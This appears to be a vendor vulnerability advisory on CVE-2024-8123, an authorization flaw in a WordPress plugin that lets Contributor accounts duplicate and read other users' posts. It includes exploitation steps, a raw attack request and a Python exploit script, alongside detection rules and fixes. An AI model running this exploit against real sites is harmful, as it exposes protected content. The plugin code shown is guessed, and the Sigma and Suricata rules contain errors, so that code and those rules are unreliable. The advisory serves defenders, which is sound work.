CVE-2024-8123

Executive Summary

CVE-2024-8123 is an Insecure Direct Object Reference (IDOR) vulnerability discovered in the WordPress plugin "The Ultimate WordPress Toolkit – WP Extended" (versions up to and including 3.0.8). This vulnerability allows authenticated attackers with Contributor-level access or higher to duplicate any post on the site, including those authored by administrators and password-protected posts. By exploiting the duplicate_post function, an attacker can bypass authorization checks due to missing validation on a user-controlled key (likely the post ID). The primary impact is unauthorized disclosure of sensitive content from password-protected posts and the ability to create unauthorized copies of privileged content, leading to a breach of confidentiality and integrity.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the repository are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WordPress ecosystem. Supply chain risk is elevated because the patch status is unknown, and users must rely on the vendor (Wp extended) to release a fix. Until a patched version is available, all installations of the plugin are vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 5.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – An attacker needs Contributor-level access (lowest privileged role that can publish posts).
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – Limited disclosure of post content, including password-protected posts.
• Integrity (I): Low – The attacker can create unauthorized copies of posts, but cannot modify the original.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication. However, the ability to read password-protected content and duplicate admin posts makes it a significant risk for sites with sensitive content.

Deep Dive & Mechanics

The vulnerability resides in the duplicate_post function of the WP Extended plugin. This function is intended to allow users to duplicate their own posts. However, it fails to validate that the post being duplicated belongs to the current user. The function accepts a post ID from the user (likely via a POST or GET parameter) and uses it directly to fetch and duplicate the post without checking ownership or permissions.

Root Cause: Missing authorization check on the post ID parameter. The code likely does something like:

$post_id = $_REQUEST['post_id'];
$post = get_post($post_id);
// Duplicate $post without checking if current user can edit it

Exploitation Flow:

1. An attacker logs in with a Contributor-level account.
2. The attacker crafts a request to the duplicate_post endpoint, specifying the ID of a target post (e.g., a password-protected admin post).
3. The plugin duplicates the post, creating a new draft or published copy.
4. The attacker can then view the duplicated post, which reveals the content of the original, including any password-protected content.

Impact:

• Confidentiality Breach: Password-protected posts become readable.
• Integrity Breach: Unauthorized copies of posts are created, potentially leading to content duplication or confusion.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical fix based on common IDOR remediation.

Vulnerable Code (wp-extended/includes/class-duplicate-post.php):

public function duplicate_post() {
    $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
    $post = get_post($post_id);
    if (!$post) {
        wp_die('Post not found');
    }
    // Duplicate logic without ownership check
    $new_post_id = wp_insert_post(array(
        'post_title'   => $post->post_title . ' (Copy)',
        'post_content' => $post->post_content,
        'post_status'  => 'draft',
        'post_author'  => get_current_user_id(),
    ));
    wp_redirect(admin_url('post.php?post=' . $new_post_id . '&action=edit'));
    exit;
}

Patched Code (Hypothetical):

public function duplicate_post() {
    $post_id = isset($_POST['post_id']) ? intval($_POST['post_id']) : 0;
    $post = get_post($post_id);
    if (!$post) {
        wp_die('Post not found');
    }
    // Check if current user can edit the post (ownership or capability)
    if (!current_user_can('edit_post', $post_id)) {
        wp_die('You do not have permission to duplicate this post.');
    }
    // Duplicate logic
    $new_post_id = wp_insert_post(array(
        'post_title'   => $post->post_title . ' (Copy)',
        'post_content' => $post->post_content,
        'post_status'  => 'draft',
        'post_author'  => get_current_user_id(),
    ));
    wp_redirect(admin_url('post.php?post=' . $new_post_id . '&action=edit'));
    exit;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress installation with WP Extended plugin <= 3.0.8.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in as a Contributor.
2. Identify the ID of a target post (e.g., a password-protected admin post). This can be found by viewing the post list or using a tool like Burp Suite.
3. Send a POST request to the vulnerable endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [session cookie]
   
   action=duplicate_post&post_id=123
   

   (Note: The exact action name may vary; check the plugin source for wp_ajax_ hooks.)
4. The plugin will create a duplicate of post ID 123. The response may redirect to the edit page of the new post.
5. Access the new post (e.g., /wp-admin/post.php?post=456&action=edit) to view the content, including any password-protected data.

Automation Script (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
# Login first
login_data = {
    'log': 'contributor_user',
    'pwd': 'password',
    'wp-submit': 'Log In',
    'redirect_to': target + '/wp-admin/',
    'testcookie': '1'
}
session.post(target + '/wp-login.php', data=login_data)

# Exploit
post_id = 123  # Target post ID
data = {
    'action': 'duplicate_post',
    'post_id': post_id
}
r = session.post(target + '/wp-admin/admin-ajax.php', data=data)
print("Duplicate created. Check admin panel.")

Blue Team

Detection:

• Monitor for unusual duplication activity, especially from low-privileged users.
• Look for rapid creation of posts with "(Copy)" in the title.
• Alert on access to password-protected posts by users who should not have access.

Hunting:

• Query database for posts created by Contributor users that are duplicates of admin posts.
• Check logs for admin-ajax.php requests with action=duplicate_post and varying post_id parameters.

Mitigation:

• Disable the plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests to duplicate_post from non-admin users.
• Use a plugin like "User Role Editor" to restrict Contributor capabilities.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=duplicate_post and post_id parameter.
  • Unusual number of posts created with "(Copy)" suffix.
• Host:
  • Database entries in wp_posts where post_title contains "(Copy)" and post_author is a Contributor.
  • Log entries showing duplicate_post action from non-admin users.
• File:
  • Plugin file /wp-content/plugins/wp-extended/includes/class-duplicate-post.php (if accessible).

Detection Engineering

YARA Rule

rule CVE_2024_8123_WP_Extended_IDOR {
    meta:
        description = "Detects vulnerable WP Extended plugin files with IDOR in duplicate_post function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8123"
    strings:
        $func = "duplicate_post" nocase
        $post_id = "post_id" nocase
        $get_post = "get_post" nocase
        $no_check = "current_user_can" nocase
    condition:
        $func and $post_id and $get_post and not $no_check
}

Sigma Rule

title: CVE-2024-8123 WP Extended Plugin IDOR Exploitation
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2024-8123 via duplicate_post action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=duplicate_post'
        cs-uri-query|contains: 'post_id='
    condition: selection
falsepositives:
    - Legitimate use by administrators (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8123 WP Extended Plugin IDOR Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=duplicate_post"; http_client_body;
    content:"post_id="; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2024-8123;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review user roles and ensure only trusted users have Contributor+ access.
3. Audit posts for unauthorized duplicates and remove them.

Long-term Fix:

• Apply the hypothetical patch shown in the "Vulnerable vs. Patched Code" section once the vendor releases an update.
• Monitor the plugin's changelog for version 3.0.9 or higher.

Workarounds:

• Use a WAF to block requests containing action=duplicate_post from non-admin IPs.
• Implement a custom plugin that hooks into wp_ajax_duplicate_post and adds an ownership check.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2024-8123 Analysis
Date: 2025-04-10
Classification: Medium
Status: Unpatched